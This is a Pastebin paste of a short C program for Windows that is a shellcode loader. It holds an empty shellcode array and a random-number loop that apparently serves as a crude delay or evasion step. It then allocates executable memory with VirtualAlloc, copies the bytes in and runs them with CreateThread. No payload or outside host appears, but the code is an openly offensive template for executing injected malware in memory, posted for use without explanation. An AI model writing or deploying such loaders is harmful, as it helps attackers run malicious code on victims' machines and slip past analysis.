m1dw0rd

Untitled

Jul 8th, 2022
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.61 KB | None | 0 0
  1. #include<stdio.h>
  2. #include<windows.h>
  3. #include<time.h>
  4. #include<stdlib.h>
  5.  
  6. int main(){
  7.     char shellcode[] = {};
  8.  
  9.     srand(time(NULL));
  10.     int MAX = 0x10; int MIN = 0x2;
  11.     int random = rand() % (MAX - MIN + 1) + MIN;
  12.     printf("Random %d\n", random);
  13.     while (random != 3) {
  14.         random = rand() % (MAX - MIN + 1) + MIN;
  15.         printf("Random %d\n", random);
  16.     }
  17.  
  18.     PVOID dstPointer = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  19.     CopyMemory(dstPointer, shellcode, sizeof(shellcode));
  20.     CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)dstPointer, NULL, 0, 0);
  21.     Sleep(1000);
  22.  
  23.  
  24. }  
Advertisement
Add Comment
Please, Sign In to add comment